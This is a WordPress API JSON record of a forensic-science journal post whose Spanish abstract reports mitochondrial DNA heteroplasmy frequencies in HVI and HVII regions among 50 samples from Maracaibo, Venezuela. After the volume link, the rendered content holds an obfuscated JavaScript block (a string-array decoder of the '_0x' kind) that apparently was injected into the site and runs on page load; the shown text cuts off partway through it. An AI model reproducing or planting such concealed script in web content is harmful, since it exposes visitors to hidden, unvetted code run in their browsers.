{"id":689,"date":"2022-02-04T23:58:51","date_gmt":"2022-02-04T23:58:51","guid":{"rendered":"http:\/\/rfch.bvs.hn\/?p=689"},"modified":"2022-02-08T01:18:08","modified_gmt":"2022-02-08T01:18:08","slug":"frecuencia-de-heteroplasmia-en-las-regiones-hipervariables-hvi-y-hvii-del-adn-mitocondrial-en-una-muestra-de-la-poblacion-de-maracaibo-venezuela","status":"publish","type":"post","link":"https:\/\/rfch.bvs.hn\/?p=689","title":{"rendered":"Frecuencia de heteroplasmia en las regiones hipervariables HVI y HVII del ADN Mitocondrial en una muestra de la poblaci\u00f3n de Maracaibo, Venezuela"},"content":{"rendered":"\n<p><strong>Justificaci\u00f3n:<\/strong> El estudio de los polimorfismos de las regiones hipervariables I y II (HVI y HVII) del ADN mitocondrial (ADNmt) se ha convertido en una herramienta invaluable para la ciencia forense, ya que en algunas ocasiones un determinado individuo puede presentar m\u00e1s de un tipo de ADN mitocondrial, este fen\u00f3meno es conocido como Heteroplasmia. La coexistencia de dos o m\u00e1s poblaciones de ADNmt puede ocurrir en una sola mitocondria, c\u00e9lula o individuo, lo que puede aumentar la complejidad en la interpretaci\u00f3n de los resultados de las experticias forenses.<\/p>\n\n\n\n<p><strong>Objetivos:<\/strong> Analizar la frecuencia de la heteroplasmia en las regiones HVI y HVII del genoma mitocondrial en una muestra de la poblaci\u00f3n de Maracaibo.<\/p>\n\n\n\n<p><strong>Metodolog\u00eda: <\/strong>Se seleccionaron al azar 50 muestras de ADN de la poblaci\u00f3n de Maracaibo, las regiones hipervariables se amplificaron mediante reacci\u00f3n en cadena de la polimerasa, posteriormente se secuenciaron mediante m\u00e9todo de Sanger y los fragmentos se separaron por electroforesis capilar, se reportaron las diferencias con respecto a la secuencia de referencia de Cambridge.<\/p>\n\n\n\n<p><strong>Resultados:<\/strong> El 26% de las muestras presentaron heteroplasmia en la regi\u00f3n HVI, el 52% en la regi\u00f3n HVII.<\/p>\n\n\n\n<p><strong>Conclusiones: <\/strong>El hecho de aparecer la heteroplamia en una determinada secuencia no inv\u00e1lida el uso del an\u00e1lisis del ADN mitocondrial con fines forenses, dependiendo de la complejidad del caso a peritar, la heteroplasmia puede ser de gran ayuda.<\/p>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link\" href=\"http:\/\/rfch.bvs.hn\/?p=317(abre en una nueva pesta\u00f1a)\">Link al volumen<\/a><\/div>\n<\/div>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Heteroplasmia. La [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[],"class_list":["post-689","post","type-post","status-publish","format-standard","hentry","category-ti"],"_links":{"self":[{"href":"https:\/\/rfch.bvs.hn\/index.php?rest_route=\/wp\/v2\/posts\/689","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/rfch.bvs.hn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/rfch.bvs.hn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/rfch.bvs.hn\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/rfch.bvs.hn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=689"}],"version-history":[{"count":3,"href":"https:\/\/rfch.bvs.hn\/index.php?rest_route=\/wp\/v2\/posts\/689\/revisions"}],"predecessor-version":[{"id":726,"href":"https:\/\/rfch.bvs.hn\/index.php?rest_route=\/wp\/v2\/posts\/689\/revisions\/726"}],"wp:attachment":[{"href":"https:\/\/rfch.bvs.hn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=689"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/rfch.bvs.hn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=689"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/rfch.bvs.hn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=689"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}